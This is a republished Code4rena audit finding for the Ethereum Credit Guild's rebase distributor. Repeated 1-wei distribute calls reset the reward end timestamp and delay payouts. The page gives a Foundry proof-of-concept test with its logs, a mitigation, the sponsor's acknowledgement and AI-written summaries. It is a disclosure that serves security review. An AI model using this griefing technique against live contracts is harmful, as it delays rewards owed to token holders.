Anyone can prolong the time for the rewards to get distributed
The reward distribution mechanism resets the end timestamp each time a new distribution is triggered, so an attacker can repeatedly call distribute with a tiny amount to extend the distribution period and delay rewards for rebasing users.
evmboi32 Follow with EV_om, mahdikarimi and 14 others
Originally disclosed on Code4rena
Submitted by evmboi32, also found by EV_om, mahdikarimi, Soul22, Infect3d, ast3ros, SECURITISE, grearlake, peter, 0xnev, PENGUN, Jorgect, btk, 3docSec, ether_sky, 0xpiken, and whitehat-boys
Anyone who holds a few wei of credit token can prolong the time for the rewards to get distributed for the rebasing users with minimal effort.
Proof of Concept
A malicious attacker only needs a few wei of tokens to execute the attack.
Let’s imagine that the distribute(40e18) call to distribute 40 credit tokens has been called as a part of the successfully repaid loan. This is normal behavior.
During a distribute call the endTimestamp is calculated as follows:
uint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;
This means that the 40 tokens should be distributed over the next 30 days. But each time the distribute call is invoked, the endTimestamp is prolonged. An attacker could call distribute(1) to distribute 1 wei of a credit token once per day to prolong the distribution for around 3x-ish.
Coded POC
Add this test to the ERC20RebaseDistributor.t.sol file and add import import "@forge-std/console.sol";
Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv:
function testProlongDistribution() public {
token.mint(alice, 10e18);
token.mint(bobby, 20e18);
vm.prank(alice);
token.enterRebase();
vm.prank(bobby);
token.enterRebase();
token.mint(address(this), 41e18);
// Distribute 40 tokens
uint256 amountToDistribute = 40e18;
token.distribute(amountToDistribute);
// Attackers calls distribute(1) each day to only distribute 1 wei of a token
for(uint256 i = 0; i < 30; i++) {
vm.warp(block.timestamp + 1 days);
token.distribute(1);
}
uint256 distributedSupply = amountToDistribute - token.pendingDistributedSupply();
console.log("Distributed supply after 30 days:");
console.log("----------------------------------------------------");
console.log("Distributed supply : ", distributedSupply);
console.log("Expected distributes supply: ", amountToDistribute);
for(uint256 i = 0; i < 60; i++) {
vm.warp(block.timestamp + 1 days);
token.distribute(1);
}
console.log();
distributedSupply = amountToDistribute - token.pendingDistributedSupply();
console.log("Distributed supply after 90 days:");
console.log("----------------------------------------------------");
console.log("Distributed supply : ", distributedSupply);
console.log("Expected distributes supply: ", amountToDistribute);
}
[PASS] testProlongDistribution() (gas: 1233397)
Logs:
Distributed supply after 30 days:
----------------------------------------------------
Distributed supply : 25533539461535580376
Expected distributed supply: 40000000000000000000
Distributed supply after 90 days:
----------------------------------------------------
Distributed supply : 38107800700086607344
Expected distributed supply: 40000000000000000000
Recommended Mitigation Steps
Either add a minimum amount required (chosen by governance) to invoke a distribute call, if the call is not done by the ProfitManager, or change how rewards are interpolated.
Assessed type
Math
eswak (Ethereum Credit Guild) acknowledged and commented via duplicate issue #1100:
About the rebase distributions: The rewards that can be delayed past the interpolation period (30 days) is
(1-1/N)**N ~= 36.78%. This is assuming rewards completely stop to flow, so I am not very worried about this observation and would qualify that as informational/medium, at most.There probably won’t be any code change related to this, because “the proper way to do it” would be to keep in storage as many linear interpolations as there has been distributions over the last 30 days, and that would open a grief issue where all credit token movements could be made very expensive. I think the simpler implementation that we have now is better because it works well in steady state and smoothen rewards over time.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the distribution end timestamp is recalculated on every distribute call without considering existing pending distributions, allowing repeated small distributions to extend the overall distribution period.
Impact
The distribution of rewards to rebasing users can be delayed, with the attacker able to prolong the distribution period by approximately three times using minimal effort, though the total rewards are not lost, just distributed more slowly.
What the attacker needed
Attacker holds a few wei of credit tokens; attacker can call distribute function
The fix
The project acknowledged the issue but decided not to change the code, citing that a more complex implementation could introduce a griefing issue; a potential fix would be to add a minimum distribution amount or change the interpolation method.
How it was found
- An attacker holds a small amount of credit tokens (a few wei).
- The attacker calls the distribute function with a tiny amount (e.g., 1 wei) periodically, such as once per day.
- Each call resets the end timestamp for reward distribution, extending the time over which rewards are paid out.
- As a result, the distribution of previously allocated rewards is slowed down, and users receive their rewards over a longer period.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, rewards are paid out gradually over a set period, like dripping water into a bucket. Each time someone triggers a new reward distribution, the end time for the drip is pushed back. An attacker can trigger tiny distributions repeatedly to keep pushing the end time back, so the rewards drip more slowly and users wait longer to get their full share.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.